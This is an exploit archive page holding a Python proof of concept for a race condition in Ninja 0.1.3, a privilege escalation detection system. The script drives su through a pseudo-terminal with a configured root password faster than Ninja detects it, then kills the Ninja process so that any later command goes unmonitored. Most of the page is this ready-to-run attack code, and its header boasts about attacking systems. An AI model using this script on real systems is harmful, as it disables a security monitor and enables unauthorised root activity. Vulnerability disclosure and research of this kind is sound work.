what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Ninja 0.1.3 Race Condition

Ninja 0.1.3 Race Condition
Posted Apr 29, 2015
Authored by Ben Sheppard

Ninja privilege escalation detection and prevention system version 0.1.3 suffers from a race condition vulnerability.

tags | exploit
SHA-256 | 0c04f125429ae3d5bf78e45cae4f47cf93b72213a6ec0a6ae100e2ab1807e2e3

Ninja 0.1.3 Race Condition

Change Mirror Download
#[Title] Ninja privilege escalation detection and prevention system race condition
#[Author] Ben 'highjack' Sheppard
#[URL] http://highjack.github.io/
#[Description] There is a small delay between the time of execution of a command and the time privelege escalation is detected.
#It is therefore possible to use a pty to run a command such as su and provide the password faster than it can be detected.
#The following PoC becomes root using su and issues killall -9 ninja. The attacker can then run any commands that they wish.
#[Software Link] http://forkbomb.org/ninja/
#[Date] 29/04/2015
#[Version] 0.1.3
#[Tested on] Kali Linux
#[Demo] https://www.youtube.com/watch?v=P8VJCUUJPLg

#See me hitting every open port, 'cause im banging on their system while I'm staying out of the court
#https://www.youtube.com/watch?v=eA136fOsSeQ

import pty, os, sys, subprocess
pid, fd = pty.fork()

#begin config
user = "root"
password = "mypassword" #change this :)
command = "killall -9 ninja"
#end config


def usage():
print """
@@@ @@@ @@@ @@@@@@@@ @@@ @@@ @@@ @@@@@@ @@@@@@@ @@@ @@@
@@@ @@@ @@@ @@@@@@@@@ @@@ @@@ @@@ @@@@@@@@ @@@@@@@@ @@@ @@@
@@! @@@ @@! !@@ @@! @@@ @@! @@! @@@ !@@ @@! !@@
!@! @!@ !@! !@! !@! @!@ !@! !@! @!@ !@! !@! @!!
@!@!@!@! !!@ !@! @!@!@ @!@!@!@! !!@ @!@!@!@! !@! @!@@!@!
!!!@!!!! !!! !!! !!@!! !!!@!!!! !!! !!!@!!!! !!! !!@!!!
!!: !!! !!: :!! !!: !!: !!! !!: !!: !!! :!! !!: :!!
:!: !:! :!: :!: !:: :!: !:! !!: :!: :!: !:! :!: :!: !:!
:: ::: :: ::: :::: :: ::: ::: : :: :: ::: ::: ::: :: :::
: : : : :: :: : : : : : ::: : : : :: :: : : :::

[Title] Ninja privilege escalation detection and prevention system 0.1.3 race condition
[Author] Ben 'highjack' Sheppard
[URL] http://highjack.github.io/

[Description] There is a small delay between the time of execution of a command and the time privelege escalation is detected.
It is therefore possible to use a pty to run a command such as su and provide the password faster than it can be detected.
The following PoC becomes root using su and issues killall -9 ninja. The attacker can then run any commands that they wish.
"""


executions = 0
def check_procs():
p1 = subprocess.Popen(["ps", "aux"], stdout=subprocess.PIPE)
p2 = subprocess.Popen(["grep", "root"], stdin=p1.stdout, stdout=subprocess.PIPE)
p3 = subprocess.Popen(["grep", "/sbin/ninja"], stdin=p2.stdout, stdout=subprocess.PIPE)
output = p3.communicate()[0]
if output != "":
if executions != 0:
sys.exit(0)
return True
else:
return False

def kill_ninja():
if pid == 0:
os.execvp("su", ["su", user, "-c", command])
elif pid > 0:
try:
os.read(fd, 1024)
os.write(fd, password + "\n")
os.read(fd,1024)
os.wait()
os.close(fd)
except:
usage()
print "[+] Ninja is terminated"
sys.exit(0)


while True:
kill_ninja()
if (check_procs == True):
executions = executions + 1
kill_ninja()

Login or Register to add favorites

File Archive:

March 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    13 Files
  • 3
    Mar 3rd
    15 Files
  • 4
    Mar 4th
    0 Files
  • 5
    Mar 5th
    0 Files
  • 6
    Mar 6th
    16 Files
  • 7
    Mar 7th
    31 Files
  • 8
    Mar 8th
    16 Files
  • 9
    Mar 9th
    13 Files
  • 10
    Mar 10th
    9 Files
  • 11
    Mar 11th
    0 Files
  • 12
    Mar 12th
    0 Files
  • 13
    Mar 13th
    10 Files
  • 14
    Mar 14th
    6 Files
  • 15
    Mar 15th
    17 Files
  • 16
    Mar 16th
    22 Files
  • 17
    Mar 17th
    13 Files
  • 18
    Mar 18th
    0 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    16 Files
  • 21
    Mar 21st
    13 Files
  • 22
    Mar 22nd
    5 Files
  • 23
    Mar 23rd
    6 Files
  • 24
    Mar 24th
    47 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close